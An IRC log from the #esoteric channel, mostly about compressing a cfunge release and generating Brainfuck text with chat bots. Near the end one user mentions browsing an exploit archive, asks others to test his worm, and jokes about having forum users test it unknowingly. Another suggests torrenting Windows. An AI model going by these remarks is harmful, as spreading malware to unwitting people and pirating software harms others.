1241373502 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :.a or .zip < 1241373504 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : You have access to compress? :P Solaris? <-- no. I installed it from portage. < 1241373508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, the latter < 1241373514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't plan to do recursive .a < 1241373524 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: "zip", with the same syntax as tar except you omit the cvf argument < 1241373526 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Get 'zip' < 1241373526 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what would I *gain* from .pax < 1241373529 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :WTF? Since when is there a version of compress for nonshittyOS? < 1241373531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is there any difference < 1241373534 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: standards-compliance < 1241373545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, so zip cfunge-0.4.1.zip cfunge-0.4.1 < 1241373554 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Comes with gzip, apparently < 1241373560 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes < 1241373562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :app-arch/ncompress http://ncompress.sourceforge.net/ Description: Another uncompressor for compatibility < 1241373583 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Distribute it as a lzma-compressed squashfs image; that has the added-value benefit of not being in the main squashfs tree, requiring separate patching. (Although I guess distributions package that stuff, still.) < 1241373598 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :s/main squashfs/main linux/ < 1241373598 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241373604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, would mean I would have to do it too < 1241373612 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And I think cramfs is even less widespread than squashfs < 1241373632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241373635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the zip didn't work < 1241373637 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well, "main squashfs tree" meaning the places where squashfs-utilities come from; but it's also not in the mainline kernel. < 1241373640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it didn't add recursively < 1241373647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fail < 1241373654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it added the directory < 1241373656 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: zip -r. < 1241373657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but nothing in it < 1241373668 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Damn, textgen.java can't generate a BF version of a 1.1M block of text :P < 1241373680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :327K cfunge-0.4.1.zip < 1241373687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lets see what advzip can do to that < 1241373690 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Somebody write me a better BF text generator! :( < 1241373692 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen Hello, world! < 1241373695 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :126 ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>. [859] < 1241373707 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why did it add that infinite loop at the end? < 1241373710 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(And by "better", I only mean "supporting obscenely huge input") < 1241373710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :312K cfunge-0.4.1.zip < 1241373714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :after advzip < 1241373725 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ...........? < 1241373726 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: zip -9 should be better. < 1241373740 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: "[859]" is an infinite loop, because the current tape element isn't a 0 < 1241373749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :zip -9r < 1241373750 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :X_X < 1241373756 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no difference to original < 1241373759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so 327K < 1241373759 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: That's the number of generations it ran X-P < 1241373762 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in other words < 1241373765 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Shrug. < 1241373770 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :7zip can also generate zips; it might even do smaller ones. I don't happen to have cfunge-0.4.1 so I can't really test. < 1241373797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so score board: < 1241373801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :148K cfunge-0.4.1.tar.lzma < 1241373801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :156K cfunge-0.4.1.tar.bz2 < 1241373801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :186K cfunge-0.4.1.tar.gz < 1241373801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :312K cfunge-0.4.1.zip < 1241373801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :325K cfunge-0.4.1.tar.Z < 1241373813 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is using the best compression possible for each < 1241373835 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :distribute the binary, with a --quine option? < 1241373840 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm going for bz2 I think here. The difference to lzma is minimal in this case, and bzip2 is rather common these days. < 1241373847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, make a patch < 1241373851 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :.arj! < 1241373858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, don't have it installed < 1241373862 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh! < 1241373864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so not going to < 1241373869 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :actually, why binaries? Why not decimals? < 1241373888 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :someone should write an executable which doesn't have a single a, b, c, d, e, or f when encoded into hex < 1241373890 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can do sit I think. < 1241373893 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1241373902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, was that to me or ais523 < 1241373904 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"7z a -tzip -mx=9 blah.zip files" for most-compressed zip 7zip can do, if I read the docs right. < 1241373908 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ais < 1241373925 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I use -mfb=273 on top of that < 1241373930 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Can't remember what it does. < 1241373938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :311K cfunge-0.4.1.7.zip < 1241373942 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, wait < 1241373944 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That was for 7z < 1241373948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so 1 kb less than after advancecomp < 1241373948 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Sets number of Fast Bytes for Deflate encoder." < 1241373949 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :7za a -r -tzip -mx9 -mfb=258 -mpass=15 $f.zip $f < 1241373956 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's what I use for zips < 1241374009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, same size as from command fizzie gave < 1241374022 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :To the byte? < 1241374033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yes < 1241374042 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Alright, guess it does nothing then < 1241374055 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :-mx=9 implies (without the other flags) -mfb=128 -mpass=10, again if I read this table right. < 1241374057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it might, just not in this specific case < 1241374058 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :having more than 256 possible bytes is rather strange anyway < 1241374082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, err < 1241374083 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what < 1241374088 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :MOOO < 1241374133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the hell < 1241374145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sourceforge changed my username from AnMaster to anmaster < 1241374160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since last time I looked < 1241374197 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure where I got 258 and 273 < 1241374273 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, Perl6 lets you get the length of a string in pixels < 1241374279 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what happens if you try that in a text-mode program? < 1241374289 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ais523: how? < 1241374297 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nooga: I don't know < 1241374307 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I haven't tried it, I'm just reading the docs < 1241374316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : wow, Perl6 lets you get the length of a string in pixels < 1241374318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*blink* < 1241374325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :isn't that up to the GUI toolkit < 1241374333 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :yea? < 1241374335 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's what I'd assume, too < 1241374338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, getting length in pixels < 1241374340 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :presumably you have to have an active GUI, or something < 1241374344 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just like you have an active filehandle < 1241374346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it isn't like it is core feature < 1241374550 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You probably got 258 from the fact that it's the maximum for that particular value for zip/deflate. < 1241374585 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I figured it'd be something like that, but I don't know where in particular I found that out < 1241374592 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Unless it says so right there in the manual? < 1241374606 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, in the /usr/share/doc/p7zip-full/DOCS/MANUAL/switches/method.htm manual in my case. < 1241374614 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"It can be in the range from 3 to 258." < 1241374624 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Aye. < 1241374654 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :3 to 258 is a range that fits inside an 8-bit int < 1241374657 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :with appropriate encoding < 1241374667 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Such as adding 3 < 1241374753 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :heh, Perl6 added support for all the bracket characters in Unicode, for things like s{}{} < 1241374769 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that reminds me of C-INTERCAL treating all the currency characters in Unicode as mingle... < 1241374819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there < 1241374820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241374823 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh right yes < 1241374827 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I was just talking... < 1241374899 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well I'm going to submit that news item thing. And sf.net will add it on slashdot again. < 1241374910 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, http://slashdot.org/firehose.pl?op=view&id=4375881 < 1241374915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so up-mod it < 1241374917 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess < 1241374921 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :$ du -h cfunge-src.shar.bf < 1241374921 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :47M cfunge-src.shar.bf < 1241374929 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :s❮foo❯❮bar❯ for heavy-duty string-replacement. < 1241374933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, forget it < 1241374946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, err.... they dropped / now? < 1241374948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or rather < 1241374952 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That being "heavy left/right-pointing angle quotation mark ornament". < 1241374953 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't it be same char < 1241374954 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :You mean I just wrote this awesome text->BF translator that supports arbitrarily long input for NOTHING :( < 1241374968 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For brackets it's always been in the "s{foo}{bar}" style. < 1241374969 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Exact bounds wasn't in a release yet? < 1241374979 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: you're supposed to compress the bf afterwards < 1241374981 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I thought it was in 4.0 < 1241374982 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no. It was added between 0.4.0 and 0.4.1 < 1241374983 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For non-parenthesis-like characters it's the same character. < 1241374993 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I'm interested in it, even if AnMaster isn't < 1241374993 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, It will be in 4.0 I'm sure. < 1241374997 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I am. < 1241375002 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: But it takes a while to compress 47MB :P < 1241375004 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Why is cfunge less than 1.0 anyway < 1241375016 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: upmodded, but basically no chance it'll make the front page anyway < 1241375019 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, Why not. < 1241375020 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :$ du -h cfunge-src.shar.bf.lzma < 1241375021 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :392K cfunge-src.shar.bf.lzma < 1241375029 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :This is clearly your best format. < 1241375029 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: There's nothing 'missing' < 1241375033 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's not all that bad... < 1241375046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ehird would disagree I think. ;O < 1241375047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P* < 1241375066 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :CCBI was at 1.0 when it could run Mycology minus the fingerprints < 1241375069 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway. There is. I'm not below 0.010 yet < 1241375070 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1241375091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, IMO Linux should be 3.0 by now < 1241375093 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: It only takes 2.4s for egobfi8 to extract the .bf < 1241375098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since so much changed since 2.6.0 < 1241375100 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :("extract") < 1241375101 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: impressive < 1241375108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but each version changed very little < 1241375121 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how efficient is your text-to-BF translator, in terms of output size? < 1241375128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does that answer it < 1241375131 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Really quite awful :P < 1241375145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241375145 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241375150 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: All it does is factor, multiply up the factors, then add that in. It doesn't even make good use of cells. < 1241375152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, did you use bf_txtgen < 1241375154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for this < 1241375159 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, that won't handle 1.1M files :( < 1241375173 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, don't use shar for the input then < 1241375177 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!intercal DO READ OUT #4¢#6 < 1241375179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen cfunge < 1241375182 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :71 +++++++++[>+++++++++++>+++++++++++++>+><<<<-]>.+++.>.-------.<+.--.>>+. [305] < 1241375184 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :*000 ¢#6 < 1241375189 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Not at all. Firstly, Linux is past 1.0, and secondly, saying that Linux should be at a higher version makes it seem even more that cfunge should be at a higher version too :-P < 1241375191 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241375193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen cfunge < 1241375196 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :71 +++++++++[>+>+++++++++++>+++++++++++++><<<<-]>>.+++.>.-------.<+.--.<+. [207] < 1241375196 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't think tar would do better, but I'll give it a shot. < 1241375204 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, what is the "71" there for < 1241375212 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Length? < 1241375216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, tar produces non-ascii armoured one < 1241375217 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Length of the BF program. < 1241375219 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: what character set are you giving CLC-INTERCAL its input in? It needs Latin-1, I suspect you're passing it UTF8 < 1241375222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, then what is the [207] for < 1241375225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241375226 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Generation. < 1241375229 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Remind me what WRITE IN and READ OUT do. < 1241375230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241375235 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I'm passing it raw exactly what comes from IRC. < 1241375236 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, or I'm passing it UTF-8 < 1241375237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it uses generic algo < 1241375238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1241375241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen cfunge < 1241375243 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :76 ++++++++++[>++++++++++>+>><<<<-]>-.+++.+++++++++++++++.-------.-------.--.>. [64] < 1241375248 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241375250 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not even sure I could paste raw latin-1 in this client < 1241375250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen cfunge < 1241375253 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :71 +++++++++[>+++++++++++>+++++++++++++>+><<<<-]>.+++.>.-------.<+.--.>>+. [215] < 1241375262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they are quite different < 1241375264 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even at 71 < 1241375269 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!intercal DO READ OUT #4#6 < 1241375270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!bf_txtgen cfunge < 1241375272 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :71 +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. [475] < 1241375273 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's funny how it always uses that fixed number of cells, ends up doing that "><" in the loop. < 1241375277 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :*000 Invalid statement < 1241375280 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :$ du -h cfunge-src.tar.bf < 1241375280 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :36M cfunge-src.tar.bf < 1241375286 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, correct answer this timme < 1241375288 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*time < 1241375298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : It's funny how it always uses that fixed number of cells, ends up doing that "><" in the loop. < 1241375300 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241375304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can get it smaller < 1241375306 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: It uses a genetic algorithm and I cut it off before it can really perfect things. < 1241375311 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!intercal DO READ OUT #4#6 DO GIVE UP < 1241375317 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :LII < 1241375319 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 69 +++++++++[>+++++++++++++>+++++++++++>+<<<-]>>.+++.<.-------.>+.--.>+. [human] < 1241375321 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's better < 1241375332 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!intercal DO READ OUT #130~#125 DO GIVE UP < 1241375338 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :NIHIL < 1241375343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, you could at least compress the result < 1241375343 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :$ du -h cfunge-src.tar.bf.lzma < 1241375343 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :316K cfunge-src.tar.bf.lzma < 1241375354 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I do, but it takes a while to compress 36MB X-P < 1241375359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ... < 1241375361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 69 +++++++++[>+++++++++++++>+++++++++++>+<<<-]>>.+++.<.-------.>+.--.>+. [human] < 1241375362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that one < 1241375368 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: With "-t 2" and letting it run a while gives a 64-character version: +++++++++[>+++++++++++>+++++++++++++<<-]>.+++.>.-------.<+.--. < 1241375369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from < 1241375369 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh < 1241375371 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :^bf +++++++++[>+++++++++++>+++++++++++++<<-]>.+++.>.-------.<+.--. < 1241375371 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :cfunge < 1241375372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : 71 +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. [475] < 1241375379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, you have a >< there < 1241375380 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I just give the raw output directly from textgen.java < 1241375394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, it wouldn't be much work stripping >< < 1241375397 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and such < 1241375403 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, nice < 1241375403 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And yet, I'm soooooooooooooo lazy. < 1241375409 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is browsing milw0rm < 1241375424 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :coud you guys test my worm, later? < 1241375442 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :nooga: If it's a good worm, you don't need to ask us, nor will we ever realize we tested it. < 1241375459 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nooga: what OS are you designing it for? Most likely, I wouldn't be able to run it < 1241375480 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ais523: try running windoze in virtualbox < 1241375481 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::d < 1241375489 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nooga: I don't have a Windows licence < 1241375491 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(ais runs BeOS) < 1241375493 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241375495 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nor would I install one to help you test malware < 1241375500 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: no, I run Linux < 1241375504 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i've got MSDNAA < 1241375505 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :;d < 1241375505 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I'm kidding :P < 1241375514 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think I've got a spare Windows 98SE license lying around < 1241375517 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but probably not the install media < 1241375536 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: BitTorrent it? < 1241375544 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :nvm < 1241375552 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: but that would be illegal, wouldn't it? < 1241375556 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :/b/tards will test the worm < 1241375568 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you get a license to a particular copy of Windows, not to other people's versions, IIRC < 1241375576 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I'm not sure offhand what sort of license it was < 1241375592 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I suspect it's merely a tiny bit of a grey area. < 1241375614 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You might be able to go to court for it, but you'd be rather likely to win the case; after all, you *do* have 